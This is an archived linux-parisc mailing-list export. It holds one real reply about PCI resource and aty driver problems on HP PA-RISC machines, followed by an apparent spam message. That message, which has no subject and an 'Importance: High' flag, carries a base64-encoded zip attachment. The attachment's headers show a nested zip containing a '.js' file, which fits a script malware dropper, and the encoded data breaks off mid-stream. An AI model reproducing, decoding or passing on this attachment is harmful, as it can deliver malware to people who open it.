More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Tue, 8 Aug 2017 15:40:12 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20170808134012.GA7601@alpha.franken.de>
References: <20170803140717.GA7380@alpha.franken.de>
 <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
 <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502200731 20624 195.159.176.226 (8 Aug 2017 13:58:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 Aug 2017 13:58:51 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 15:58:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1df51f-00026V-Aj
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 15:58:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752126AbdHHN6d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 8 Aug 2017 09:58:33 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:40434 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752102AbdHHN6d (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 8 Aug 2017 09:58:33 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1df51p-0003pK-00; Tue, 08 Aug 2017 15:58:37 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 6696E50870B; Tue,  8 Aug 2017 15:40:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27636
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27636>

On Fri, Aug 04, 2017 at 12:45:31AM +0200, Helge Deller wrote:
> I had lots of such problems when I tried various VGA and other
> PCI cards in my c3000.

I know, but the get a MACH64 card up to sync in a B2600, with a small
change in aty driver. And the change is because Astro/Elroy behave incorrect
in respect to PCI standards, IMHO. It looks like it colapses multiple PCI
mem accesses into one access.

        aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) | PLL_WR_EN, par);
        /* write the register value */
        aty_st_8(CLOCK_CNTL_DATA, val & PLL_DATA, par);
        aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) & ~PLL_WR_EN, par);

B2600 HPMCs in this code sequence, probably because the two accesses
to CNTL_ADDR end up in just the last access. Placing in aty_ld_8 after
the first aty_st_8 avoids the problem. In a B180 everything is fine,
so Dino doesn't do that. Next testbed is the C360, which shows the PCI
resourec issue before it even comes to aty drvier.

> I think HP designed many of the PCI slots for special usage only,
> e.g. some slots allow PCI graphic cards while others don't.
> 
> Maybe plug your cards one-by-one into another slot and check again?

will do that, but what looks strange to me is the fact that ethernet and
scsi also don't get all resources assigned. This happened without the VGA
card plugged in, too.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <catherine.verge@hcahealthcare.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Tue, 08 Aug 2017 14:49:44 -0000
Lines: 185
Approved: news@gmane.org
Message-ID: <150220378403.25836.14406885485264836533@poneytelecom.eu>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="7770632.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1502203788 18260 195.159.176.226 (8 Aug 2017 14:49:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 Aug 2017 14:49:48 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 16:49:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1df5pG-0005it-Mk
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 16:49:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752082AbdHHOtt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 8 Aug 2017 10:49:49 -0400
Original-Received: from 212-129-3-98.rev.poneytelecom.eu ([212.129.3.98]:36386 "HELO
        poneytelecom.eu" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
        with SMTP id S1752017AbdHHOtt (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 8 Aug 2017 10:49:49 -0400
Importance: High
Original-Subject: 
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27637>

UEsDBAoAAAAAAA12CEvLGuYgaCcAAGgnAAAJAAAAMTU3ODkuemlwUEsDBBQAAAAIAAx2CEvPY47N
0iYAAG0eAQAIAAAAMTU3ODkuanOsnVtTK0UQx9+t8jtQWLWiY6kxlALqw+TGTTgEEjFYPuR+Esg9
SwKW393F2/6b7fa/gz6cU5NlL3Pp7umZ6fnNF1/8VGrVq/725vJ0cdG9n9funlezZmPy8L58fHpy
f/u0eV9f3vnWaPxwfdEdrHqzTvldbbRuPm/rp4Pb3sn7STy7Lt/MBsejxqrerV1fTG9Kk/n67O7q
p+U4bpUfzi8Xtdt3g83xxbD/cHZ/c926XI1mpW17We9dtsdn/vmnxe3kqtSYng9ap0/Nd53R3cnD
++dO5eL+pDTdTJq3g9no7ofyjz91V4t36x+nPyzKzcH6elOaXI7Pu2fDh9VTPDptXV3f1budd70f
2v40bpxvJsty8/H+bF49Hk7bvjN4N1rPJ/et/up6ez6evj/x8eC5Up42b1rt3tXt2fZy/Djv9BqV
+Hg8ef7h5Prux/bT8PH0qn+2vHw/ap/WBw+dfrf80/16tXnnm4/T6mK9vas/zC5H8cn8pr2alDpn
z+XG8Xnzww+em5X3d513T2e1H0bVi+OfFic73+/sfbyuV6qtp+Ws9K46HqQ/7itpupcm56t4mf5q
pcnGIk0fp8lumrxOk89pcpImf0yTSc7SH9P+Jv0B1z1+Jk2P0uRj/6d36a9Omhz31Syu93bTH6s0
+T5NwoM/pMmHNPl5G2rrCm45hQ+19fzOoNBpEvL0SZr8dgeKczupPsF7lmrObuD1K6hSyORabcRy
mrxMk7HaKKLh0qRoQo9VPnqEu35K0+86475sGnjFCv6yhILP1aJ8jk3ZV+vmYfeTbyGHwzRdmYBk
n0ATgrgOVClvpkkoYw0E6Gxm1RzkcrOTR9DTNNRhHuHfUwXtRrZ+tnCneqWP1NY/hrYYnKoaVFUV
70lezTZtX7UkM73c8LWy+rZd1C9VvAcxFBDF09BieLRbkXnNVuR2phq386sT+Or7Qa+qlv9+rwe2
FMq90Ct8UoJPHMOL1uUr1VRvIKdp8k5ap2yV/apeXaplWMfqHVP1FTfw3FIXvCEIHjQivHo2USX9
PSj6Ut6RbeWeWhZQLKthdPmXDQPvNhuGNocuzL/tDMCcT9UukXdUO2oP3lL7l3pZlfAG5KOpakml
rdqba9XEXp7Laso2yBBaYdsAHQJV2ajvXo5W0GvA98s9yC00wo4h/321jkPkf4gGZXHS/nFgdD41
kLMzaLrPa7MHENI+fLGq6npSdtUg74GeddQnjToGGX6Er4s6htYuqypVCRL5NG0KP2RkJiw4ZPdJ
9rJZabtqQgvf6c7CqSrrJzeqrJ+rkjxBjWqrrbO5hja/vBpCK9eXaru8V92Vk8921ErvdaHNf+wf
X0HubqEAT6psl1R5+QQ7kBxqg8qygybdt7EmVMsxu1Rt1VDVhrpaiHujxj7vQqW24VHekXgo3p5R
76B1P8KjquNltorRFoYqoQJ5VQfO2mpv9NOPqtw/PUIhJpDd4TP26Rf6YENezbqxTs2sU5Vxo2fE
Q0U8zjw+69bQYLrDNfjkI/W7GzVjHfXeFWY9KqpPFsweO/u+CJ6jb4v24Q6nqoTz+mfUVxcL6s2z
gWoGfARP0i8W4MFST/18DA+OdTnZQFZa8IerrmorB6r6OvhQxKr7UL1XL2OxiJfhDyPIyGRCWxue
rHld7haQ9G6i5kyvQ10tYnhML9zczeAXb/sipFExjqhA7pcNhSjg+6uetgzIXEmXp1jtlN2zLuWu
qOshzclBOSqqT24wMx29IlfwdqeLq9Mzc6q6nM16iABiiSO3r/6hqpYf82q0ij6mFuaGtbGe60LJ
qxIfwz1jbIYBvKYF6Suc36GWJcY2sUz5IaRpxVE1u/SqI9/CWy6Yyu3DZ2iWaroJ9pdpGj94qrdb
s6m+vR4ZRcbm1yvo6JVYZ8tWFm/Bzq4q1Fz0VZDW/RHHVRVe2MAOb2XKf9ZCT0XHGukqUKDdPVy1
vAe8m7ojrjBTc+7QU+BvdAX9lhL2XLGuvPD9FubsSh0detTiXmxl7TCgIg2RxT6HO2pp0ihD1Zf1
24XbWfMN1R6tBurDHT/lHp3uLCburqVyuhTiaJjWaUHvacSD+u0lXU3hKytWNqwHPSPb15589kE6
vikYZspX9Uyhome0Lvsh7Dtpa1qeOlw3etSx0L8ruP+1T579Pspkj+Ur1n0B3rW6iKnqVv0gNLGe
uRXztResINyjrqn5wbGF3nNM4OZkgBA56kkUqfYfGf7KPmi20Y9WWZkLqLbGoMevEluHkvq6frPD
mlGIzUnuyD/4pm/bpzpXRfMptFsfcK/V14yEV6OWoIYt3tAnQ/TcGmo57uiSliaPcego78g+1zfn
f9JplsgXD3P4g8bIHD1Pp5d1ClcXxpC6E+seG6TXUbFoeGdH8LCcLMKukQ73qJRi3XytPleJvq7o
3/lDDtPMvxqJp38wcmwMeUKmWS5Rfx0KOq+Z2mtnPNv5zyDdn0PzG+YPJ4ConB0xoxAy3oarmX44
OwF4ZAztMHeR/nZ8i6ejqCN8uz6vQ6VZf7PI6iv/Kf2DIZ5lfP/+EZ3sxLvxU8Kn1cvnI/6sUCkj
BwcV6n7uF6hxxwwL5Q1SUVcMqDC9axk8DehnhEHZL+v5Qr8hh79/6vR5LnVhyOosa2pB0Z2lft0A
0jPqKPCRNVhHx00fE5MTfX65mXRXYnyuZ6ait2fhrfka6Z5xjJXsQ/yqEhPfoj+mNqHo1eW5qTEj
niY3+khggM47XSJ5dAt0yFaRtSQwZdNG3hC/ojv2Hd3twnfqk6TwTjpSSKYhoCFHVIuEYuxDIwzp
FOm+mLoynG68LIwkWj1D8jFr1BcoqGvUnQkbYHqUlYha3aNon3uPxkTbKRajCY9S0wn30iUEsKcN
uryLOZr16Rf1aTpuxI6oQYGapAYPXqwrzDAZsghVp0tGwu88xbZxeuNEeo3rU4Cd2D2i9HEtLlDl
00f4kdf/EDlalbpz6emigDGvTbuq/YIhyrpXL5f7C2u68If3owDQWeCMu5ytNcfWNxv6oveKui84
5MXLU2MuzfCe9PmFmTF9RxfGQlaRE99SLsE4b1SMtSCDVdPBX1OhdU3arz8vBkyPilzTqmI9ncaD
iPHHV84Y1JSNUar+/oaP9XnQgdOXrHiIi15jNfjMT3rczZj1ErGjXpLhvKLjrS6mh/Sfei7qfMmg
dqNPlK8XcF11RukwZC28jbKb91mv9rzOP2V9xIzivivT4gurbKwF0YWjEreEQnLZtGDQ0LGuto1X
vb+xvjpAZdzp30ABiOhyq3Alq3TZBKuad8DmcleZzp9bRkg3187QcW6OaDfWMKIAN8zANHX9PNYb
fmL0xVYA0iFbcuroMu9HdBwsvlN51ZHSCULUDWossHR0xaSst2ABBdgb96CH1PCOL5Kj5FC37JUR
SOvuX9ZJsnZ7YM3zGAGJYiWPzj1n+/3sYKmgF289imhZvWsYVmoEgj3xUA+1Jyxxzz2qrfLSWeUO
tcPSHOrKEIu1s6IY4NMAD2qIjWFNMWC6L3tz9g4UMuOWgiEpfARVDNDgSg6HCscvNNyETozO9QXM
mag2o2BOLHtZIU2Oitk+3vIVNajUPULT9zJyEXNKelkO4CoNy3RCs6tC0At0FhW/WrVCz2i0caxe
HqE0Ct97EPFAPyYrSVMas2kHZRrv89eQMRu6L6Kv+KTXSHdNJpnOIbtY/2SEsKfJR2PMM6Auuz7O
SeorxFb1cJq8z6cFB0xqn3DYwxdMipajxFcsuAfKvphj4eRYr7WIfiako1mASdx6XQZW1t4EfTII
ZTOJHrJW/NBltVaACtw8otXClzpd/P2jXjkivNvN9fDyBRs062o51oX+GS6/cpR9Vx1AL4xATLpE
oF51QkXEEPqVAmR7hdkcBw56YJufU0EcqiPWiSqG3MHyznIR6JSpd1t9G8vM64te89cFygZ3xs8e
HXe+ws10VUS0BOzb8U4tA151epW/OEYBniqOwA/1qaSAvRp61VRRwIwdFhhvKsavIoeeFmj9HKBZ
sZj21UeAUs1qxnTbAIeYdCrFs0mIrd62XdYpYxzb2Jj3n/k4okFl7oivftYMW9FnQ1+vFnTGbPK8
k6Z1FR86apLMMfdh4o8eCG3N3znHKFML6mnsu5IITOG+hNVgyT0ktlFY9M14wAKM19jZLvTi4gqH
sR9GTPXXpvrKkD5iPe70sSyik4eHrb2u3hlzFwtmiRdix5tetUN9JrXq9ev7hgd0IHq6ivQq3mi/
US4OnKG9X7Nt0gvXNzYpxnR7tOXufc3ExYneu0/faJvPrM180q9HTjbCkeHY7cstLbm3Bhm9k3ex
Xr0r2n9UdaFVXzGnOzkGa8wVH+WbO98PrBDN162elTqva2efrtLEHaYBX2M0OV0s69M5Mhqj46kk
PlEXGY3mAY+GEW40na6j5SoGxa4UxYwRZoXPIUbeWmEoZio3OweYnyMREsMWFBCrV2CFhkcmox0a
/CIict66q57GO9F1XZENuiByAGbqozT96affpT92kZNYU3drtspqkOWaoewu0+S9j8+gSU5P0h+l
EF7JLuMX3avBAgPISlMlAbZV+Typg8EaLVQAUEPtC1oXaXqb0DrH6c/biXwia4gMUuXNTMcXcT4l
Uik/v+4Pr1U/vd3TWYcn5yqR6gJucV1oXQPep08FnKuB3gLoh3uF1arrq+2/d5imv0qTn6japHNN
9Q2e6w3UmU7sY7CdbmAlYdVAW75iHd5D+2HhP3G78LlRd4mCJMoI+XaqLTAYjduZN/KIDSmaL8nt
4Ve0MTY6t7A326ywZnOwI7FmcwgdtLfItSFgvCRdHWKHUjNVFfkR7liiPYISwZOBWgnNn0fgVIXg
WomCaejiLjy5VZ2Mh9kSq4IXOUgmsPB5JIGaH6PI1OgIAu/DDvOhHnS65nLFdXlymsMon4Q1uqkf
hlYgX3SC2Ey4HqOsdw0c7U4rYaI/ycbNdvlttfcf6lzvM720Aai1ruo5GWzEhIh4l/4MIiKmSYON
uIeOEbzvsolO0OykjlW94G5OmryACv9MrYwCaMG3H3/y+bI/f2h3+3uJQ1LdzvfQzftsZ3e4+0ny
f4Kd/vCD++mkt+hUN63r8sNwXvp+96tdt/tl8q/wTeK+nt+97/5Yrj3WV5fb25+aN8/jxN/Kwty/
3dk+/vDj9d27m3JrVurE/drT97vD5CX9dfJfq99O/l/uJl9bNFcX48lVMid+1q0Mz5OXfVwdQ2Pc
VwTvXTfrLaiv/4H8TgVNoMQlQDxNIkqcA7EtBjwouG7KTuArDw+ft6+uHlTfttyGt57q8Nxdyi5F
zxoqDz3rkfSiV5bHXOb0driaC7v/TzIUwA91GFL5tysGJtdp8I3PbxDiL8jvqLY6aJf1uRYhfnDd
RPL7D2Bw85Hfaa1DacOEP00HqcEKbl4yGnxDbZXLY0Rxjx7UnKyedM73Kyud7VdLOu+9m8lVtoMd
qNqBZGCT8i788z9GC+nv/8PVvKdYcX2u84f/hBX/77x3i/K+nMJNN9CqYRx3eE5tGAQBW0R3uL3H
6e1QzSa9XcL0VXt19cZqliTePABrzmw3SO2Qbx3/N0BSO8g/J7VfgiA+c4q4xWd/XKrlXD2oXw1h
h/PTC4Q0G6T2Ie8ski4CMgsVanUbgt6uj5dMjvtIP0JjlYPebnHxl1jvOUjtOfjseMIGP5IAhVof
oWyeDD67On6CdjXGKqfGuGRu8NnTZA5SO+eTD5FFvrS44/pQpdLrqi0dxg4H9Rbs8G2IKr35+I8c
9Sl592opRC3m4LinSYvobhwSAsKvb4DjlPc0KTj72FJXUCuifSB/OdjuadKivJ+17/Jw3EFcsNJV
PUQjHkR5d8kOQ4vZroriI84F0ihmJPMZbHf4ykd0z5aAQ1p7Mgyi+0gG7uQgteubwB1lF3oRmz4b
CMJqDtykekMJqtLHjkYhpknBYtf3f3N2smCxFzl33aStpw3iWOD9BJMssMTYldyB6wt9BTqMyo77
k8br/Js9RQBUVKQ7KcX68ZF7xV0Xe20FbZ2yP+gWXOfjlb65OEdQcIF+/2D9JooHGIQc/APVM9Bz
LyNT4clTk8VOQ0N1SoBFZU8Cmmj7oNkdbK0tdZKs3tN36TE4M7XqaEQ4RxatSEwpn4YKHPqIbnvL
Q1tXX45A9P+Buw6GqKULyiV+xuCuo/A5CiSAJI3qE6RLvCUk3oSyVqsiKg/1quQtKnvk6FZyCwJi
sNhpZytC4Cg0iCsz1gDfO8TVXpDafQihDl/45y1ZS9+Lx8I78BaLHTSbnqjAKQGHNGgvK9DZXspZ
x+dcVY2t6Hwja023G7FFZUfkjtF3UyGgAV1CSemxAGXDP3V5dt+LDmTDgjlXjrNu/DZNcxY73VEj
Yg6N/tRnlTobqmMR2G0SWMkZParUIeskEucHrid4BnyPXQ5OOqejv5WJjlnltBHOP0+TnIROHXVq
NuBqGDsdnqOGv4yqY9FQ4brJTvdJc+TeI2DsLYUbDIgCV3pPjwXC3j6ICSJ6Rk+j1nPx1I2dBajC
jQUlGeLwTt+FxSnq+vCPU9QhS7oIrOlW7UO5h6boqUI0DYLNlBqCCQ6tY4rrgszngT4cccwG9uyG
fhbpFjmsyK8FbR2uh4TiiwhzikDUSxlGaofmD7n3UlAmdbWKaOR8Dno724/aVydJpqwsjhPqHeWI
ejFoTI7/yc8xNTjqdD8AZa25fex4qMNH4SRHtCjO20R3Dz85fA97QVEiR+cGjV5DAPBFzdCa9uv8
pHtHZ8gOVCvAIf+CBk+RKLxe+cglaEMMdpb6jqcBfpCPW6Do1IwVqsJxEIR4vbtq1mmbie7/itXQ
Qu+B3YwOTP/ZyJ4dyDo+1LPY7vTgI6xJCX2jA7C3esroaMWxXo2YLblLWq61HPOjb/zxVG+1+Qa3
EYvNj85LKjvuc17RrkSQ2j0OCIUY6I8cv16Vym6ANMozlpgHHSiQh8rOz+kwqez7ydxJwGa2f7kh
633RTYSe2tRkgakw7OjExbVYdeRelXEeiudmFt7ywmKnBNm6mGnylPgtj8HGowA4Wb14SNU6B2cw
ZP2FU9TX9dx7v3OcPb3Or74Jgf31+7KNg2/hBHa4KkzMmp/QR03vPj1jze/zk3r5dlSsejlUD8pt
mgwksNN5TeN9B2XaC+MkBK3NBKlnEdgt2jA//QDHOi+0dX4uzYJub4bXB9HW6Z7ifWrsOCDQG9UG
17EGaZSIIMLk5zkLojv16p9x8oeeQPFybjZdSc9BdNfz8hX1Yen5Fs7nOKvY87WKaQ53jPLe06RF
fhcHuFvcZ34c0SGukDZ9M4jUTj0tk95uMNvFdAarr0GZhYVworuYcKfzCCBDdIROp5SjxHJWxRQ3
ktodLsBSmUPNptJXc/UE+YbrEv8DbV2fnbI8voge+Uv7N6PDiuj8B0d30/V5J6js6OXQQ5UtKjst
r0Flp5F8mxxUdovFDq+hIFVHJ1BxCNmhvLBRjsPufYUzFQtUlX2R0kSo9xZGak9WiCnDnZ5lg68w
l9CnkbP47Fh3epvP9WBT/FQuPrt1hiWlsUQ8Dg7fbayAF2vUkkG15qG3s5qrIbBYst3DiO5Od1UX
OIR6obfTQb+Y4XKveDtF6prQKTRnWPoKfUlBDPpo5AZKBF15fjm0gbN7khkRGiI350ONYlFWcoUb
xwQKzNcl8JavrAnao+jP+7KLd1JDc1DUrcNlQoLS4GoYYx1egewk2uOEcddH6/xC7g5xRswZ7mIe
64TryG+M0xXLoqEsdrhlpJsei8XudDK5QWV/1AMKA2Jgc/DZRcRwkcYbJFR2GhFrUdmfdEcuBBxn
89mNoyqcNTClZ50HEtgDCmH0jHqUzHzrKQ3V0agmSBsSC0mjl5BnM9PZLyywaBBjKF/F18N7cjDb
HQ0ch6thHHesInxf79l5fvgePM3p7R1PedLrdf5encpeQbcTSHTX64TBEld5KO8GSJke0Ft88bmi
Ip1axcrcqjLxX4juWovEagt7fYHoreR3LOHI43Dz9QPZ0vSpFQgBWgrPV8RNz9Ah34ol+ipzCunu
DIxulbGfuQ91Mmo5KZA4iMHufbPPDqZMbm3Ke8J2j/ko7//guIdsIRPHz/uY2njUN5PtXqPzz306
LRZGdDc47vDtgOMmXGRNzog4wAPUUWoJYx8vgubdSnSvS4jnEtFY2mOT/A4/2OH1A9F1Cc82P3p3
oYsnDaLwrqYWYWDYO6gp/Xx7Go06Dggy9FaAl6TLj3woPz5NmiT5fcOFP1jn7wj4kfaOnsr6Ekxx
YO2PNpjyC92A0IncWGy8jajefA3P0mlp3ST1qZ7W6LlJwic2ximSOG80xpuJ8/A+uqak95MWjz6I
Qj9PdrigOYEkFz969HlU/C/E+TRpsuct4jw23dcr/UUz2mdGjsZSil6Y8+ONyZkDR+M+E1c9KlJ8
ecg4xUd0LkCscFh7aioBPWhBRpEEUeOtGU6H+bJ2QvgcvHe9wkT8MY3/wRbmURqOr+/RqY4cvHcw
Ax99mqY//W4XMSa1bquMHHeD3n7PXPmzirrT+aREKSWc6G5x3Js/WaT2lbr8gsz2hgUu3UHA4FhQ
JHNQ2SE/FpX9uAz1GqustgSCij9UXJjFZ0+TFqldYJEzAD54QRh3/f7NjHWLrI7EoBwUdaQK0sGO
wRz8g6LOGc60oLuQGVVqEu46p8znKCmoBh3WnV+ZKP1cDRlGZYfcbKCotB3T5JvLabStIcRvbm/O
dl/q6K4wtrsOKJwGQvnDDhMQoP63c9yhgkZ28bO8coF4VXuQFdyue7L4weHKPHohBwI+hzilSUOw
3mwdoWnb6lVE9e7mofxT9eEykSZzSQctOZR3rpZ3DZ9coeT/H+UNws9y7H9YS/d0pyIAOTxTH3uC
bxgIO52Sc6vGTHKYPiL0wYxyhP6OgcuHXiMHltKAUUoEpQHEV42+Ack3Tg9qm/7n4n2OU4HyQPIT
HP1osLM3TZjulfa6v/fJzxmI/S97n+x8//3Oyy1+uWw/7b2i5X/y85e/fLLz685je7lz0q23ek+d
i+37xt1qHCd+b/+x/bCXJeh/8u3Obx9+ML2rLW5uTwbDi7NVfHw/T+7/WC2XxONDk0ONG6B81SXn
8HyOzE+TQtigIwrjt+skcYvfngOev7tSLU8V2eufM2zwHO4eGT0I3PFuyk1Emgw7tGoJWbEGRajH
x+qQ2EDw/5dTD0IQ8KIJjYbL4PazBzoY5Hd15LfS+3WQgh8Egt8A7yNBWUD207TFUq79kP4QCP7E
rKg5+j8UJ7D+9aGvgduHT1414PL0GFpAP1XlB4rbR0o03HIxCzo0gB9sAe0Wc9CzfhjUjun35hkR
cG+X+oFw84+dhVrN1Ykal3euGv6+xYsPocTv5ICWp0kLX64fwIBSCHcPPx9wBL9BTobrAsafA8Gv
V3iaNKr+2Kpm6HU32zsUXAOOnOPMCA7jFwj+OsMRNOCbb0bwQ4d0/rw3zIHbl9Yx+x6Bgk+THMZf
4bTwfxlEZKV5yk9uEQh+9Kwhi6IDgXo4m6m9HNwyE0eWLavbTM1kEfxp+u0wfmwL3gI5sPy/pWku
8t0cWH5+XBgH9BtYfn5wmDE6mjB9aydAeVVxBZZfNT+gyyaq/xWgvxME40+Tt3lg7zu/clXCwUsO
8H6afPuRBrTuENBvYPnNeaRs7qzTX6A+fBCWnx6qYB2lACJptV6AG4Xq6tVjn87U+jCR/mnSgPvr
Zys8657qRQ6k/7qe+5jtjZ4lA/0PopcD/W8B/+GNHxmbADssLPuf5e/s+meaplsofJGuoeq78azA
WL6tuvByHABnW4TgMfBgALqZYWwcEQDtQznfXQoDFtEqLILsMIThIhbAIW0cIDCJPKWVyiMCaOBB
mgyJ+fyfjg3AcAmBjA06Yt7YUgw328cL0BBgwfNynm48fuYsAB5cwU62L2PNFTbOhx0WgHkR0SBg
6JsUO4MNJvb5GYGpnu8uE7nRV6kGWwq5o8FBJTVTvdg4SoD2DS135UPsSZ5jA/wh32gtlOYS7m+0
PPy8oGTHYkRhei1dgULR/2pB6kGbXZMtukdBQIFE+w2Qv0EK97qAcH7432/JAk1iuAuluSMGRbk5
EJHjVCu6gz7p90M2BCXbaWYD3FHgc+BIDbtbSlD9urINWgJ9b0D70yTVsEhk7dDlOHijRF2XKm2h
K5SzMqWXih0PnvG8DFCJwPf7/wXVz/H0GCNMt7KjPBjdsBO3l0LUz9gNTVXlf0b6R572f56f2GHB
/SHbPFu05iksODlSQ/ercX7SOCpHMpIYn5x62YZZOrTCs4tbZx0WYBwRoLv8fJt0zfDdPTrvhri8
9RCAIo2jPfK0C6BR/YWqgU2x0P/UERUh4GIrs+vEI58jQp061cY7LKZZ1SKBFAS0Hx4Z8QF4soP/
7ah+tWvsGKh+h8MrC8uPDWAh+A+dVRHWoVxNA1c0dQvjFLoEss/R+uuQDf1H3tF9sTZan27ut9D6
aTIIsp+pyZRoGYbRx4xziPzhJQ7YMT+jdYD5qekbnDrGzrU+ovCF2h9G1obQKB/Y3kcWjn2fY+oT
lLunI4gjjslf599O5I0MhnThf9VN9u5y5GheZfmdDyHvwb3mhpEj9z+D6OFDJoj+yFLrspcCxhHy
aZLD5OnmfF98M0w+TVI0H1zF7vjU0Vkceo6H6MjQ0aPe0iBgP6uJpFevH75G0iOI3tXUkkb/A8el
ss5PC4ocnQAvgsV9AdHnp2UY3hykS3w1gO7t9sbebgqCT5Nze4931llYJz1/7nmPBIq/gGdXOTxz
dqKdDcrXz0PyIRu9BSifb/Ez4PkL/dQxt+B9jVqEYYh4GSdeGW41/pAY/YjyJJNOnc6SD/UVPoOH
k8hZgN0/EqdlBxhtY6v6qd4mTf1qnboTdD94gy6QOl3Y+46u4SWj7PwgCKNf3i8b4OkgGD/c/Opw
Q946h6esHRw2if6+WiM2vOlHFzCgcXSNVlfDKu2996t8eknAHXyRzxv7Ah1VFyI6zfgyWisKHvBB
+iMQlP97a+fW1EQQROG/svqwJY63sAuGUh+G3ERLBSEqvhFIYpBcJBtCqPK/u4lYOU2668xG3qZS
O5uda/fM9HzH0SWWsTO+ixxSCcrX3RcTlJ+Fb6UaQH3Btox9shMAxY9TOiUZJANqYANQ+N51Wt4N
4qTepHuhBYH1+hPYnb3sPalRoPuA06MrZYg3TyA97ggKMP0ANHXrIukF1WvCum7Hx5T7CtP8Hlon
TGMXoYd4hndzKOD0uuc7wgUEJd7pBs8A1rex8uHIfn04fYUW36Cgl/i5OB5d69xkga43gPUDc6cS
GpExtTIWGTIRfZIyuhxFylEOYeqpbaQNQhelKeYrJjIvJhKJri8GrKdlw5Y8MiKCpvpfNnXIXoM1
t74nXYj56Xecztl2E89j3ozle5We8nPhHkN7iNrn2KUcTo97PgJ2KE9Z3BH+IKHzrQF1gAz/o+r7
GQ3UKtScuNccJLjJ7S9dCzo2Q/WE1+4Mj8f4XQ/BM0D0ULkzetLpMAaV0Zo9X7fqwHpd/atn4Heq
AUA2w9szqUs0GiBJpByhha4v0amcxjQ44yQpCdCzCMDZU3FRP9I94aGoDu6fhSDuDX8/prI6Xld3
srRf45RGgQREQOIjZf2zqHocnR8CQPkBePwa7SD472f6CEQoPl00omdOV1I0gsdQwHfeOqSpxAmd
b50+9fIdpfqRrtdNseO+j46OAco35lvPofixBcAX44Au5M7YhnAAHn+ZtED5Ao/vOAqfjscipx2O
jkajmiQd1wDlWy60uy8UPjP7FILd7xu2pg7PhwDwXYmfw0ns/TLNAfjY/SGfEe6M4SRrA/BxEXh2
w7GvNETPgOI7KruYeUjTlpCxq2wo1BB7b+hIjyE9ovtlXZ0x3Qkwqa5EZ9xCAazX5wJ7XwS8jW8p
hL3Xe7WwWzy2GI/IzvERE3bf8UNaYUVuaiQ7QzY+r6lZrnkOu/dZ+HUl/GrPPUe2troxdCMnPgRx
